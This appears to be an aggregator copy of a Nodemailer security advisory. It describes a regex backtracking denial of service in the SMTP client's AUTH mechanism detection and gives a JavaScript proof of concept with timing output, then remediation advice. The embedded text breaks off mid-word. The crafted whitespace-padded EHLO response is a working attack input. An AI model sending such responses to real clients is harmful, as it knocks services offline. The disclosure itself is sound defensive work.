A AegiFlow
MEDIUMCVSS 5.9

GHSA-4ffr-jq9g-5ffx

Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service

Published
2026-10-27
Modified
2026-10-27
Sources
github-advisory

Summary

## Summary Nodemailer's SMTP client applies four regular expressions to a peer's EHLO response to detect the supported SASL mechanisms. Each pattern uses an alternation with two overlapping whitespace-matching sub-patterns, which produces quadratic (O(n^2)) backtracking whenever the mechanism name is absent from the line. A malicious or MITM SMTP server that answers EHLO with `250-AUTH` followed by a long whitespace-only run and a non-matching token blocks the Node.js event loop for tens of seconds to hours during a pre-authentication handshake. No authentication to the target SMTP server is required, and any application that connects to an attacker-influenced host is affected. ## Root Cause Each of the four AUTH mechanism regexes in `SMTPConnection._actionEHLO` contains the sub-pattern `(?:(\s+|=)[^\n]*\s+|\s+|=)` before the mechanism literal. `[^\n]*` and the trailing `\s+` both match whitespace and can consume the same characters, so when the mechanism literal is absent, the regex engine must try every partition of the whitespace run between `[^\n]*` and `\s+` before failing. The four regexes run unconditionally on every EHLO response, with no length cap, no shape validation, and no early rejection before the engine enters the ambiguous alternation. ```text Component: nodemailer (npm), SMTP client Function: SMTPConnection._actionEHLO Location: src/smtp-connection/index.ts, lines 2162, 2167, 2172, 2177 Patterns: /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)PLAIN/i /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)LOGIN/i /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)CRAM-MD5/i /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)XOAUTH2/i ``` ## Impact Algorithmic-complexity denial of service against any Node.js process that opens an SMTP connection to an attacker-controlled or attacker-influenced host. Node.js is single threaded, so the process stalls entirely while the regex engine backtracks: no other requests are served, no timers fire, and the built-in socket timeout (10 minutes) cannot interrupt synchronous JavaScript. A 4,000-character whitespace run inside a single continuation line already blocks each regex for tens of seconds; the client bounds a response at 1 MB, which leaves headroom for blocking runs measured in hours across the four patterns. Two realistic attacker positions reach the sink pre-authentication: a hosted mailer that lets tenants configure their own SMTP server, and any network-adjacent attacker able to man-in-the-middle a cleartext SMTP connection (including before STARTTLS negotiation). ## Proof of Concept The PoC exercises the exact four regexes copied from `src/smtp-connection/index.ts` against a synthesized `250-AUTH NOMATCH` line, so no live SMTP server is needed to reproduce the timing. ```text Runtime: Node.js >= 20 Dependencies: none Invocation: node poc.js ``` ```javascript 'use strict'; const AUTH_REGEXES = [ /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)PLAIN/i, /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)LOGIN/i, /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)CRAM-MD5/i, /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)XOAUTH2/i, ]; function bench(n) { const line = '250-AUTH' + ' '.repeat(n) + 'NOMATCH'; const start = Date.now(); for (const re of AUTH_REGEXES) re.test(line); return Date.now() - start; } for (const n of [500, 1000, 2000, 3000]) { console.log(`n=${n} four-regex time=${bench(n)} ms`); } const control = '250-AUTH PLAIN LOGIN CRAM-MD5 XOAUTH2'; const t0 = Date.now(); for (const re of AUTH_REGEXES) re.test(control); console.log(`well-formed control four-regex time=${Date.now() - t0} ms`); ``` ```text n=500 four-regex time=914 ms n=1000 four-regex time=1348 ms n=2000 four-regex time=10558 ms n=3000 four-regex time=35251 ms well-formed control four-regex time=0 ms ``` Doubling the whitespace run multiplies the wall time by roughly four, which matches the expected O(n^2) growth. The well-formed control shows that a normal EHLO response is parsed in effectively zer

Affected packages

EcosystemPackageAffected versionsFixed versions
npmnodemailer—10.0.13

Remediation: Upgrade to 10.0.13 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.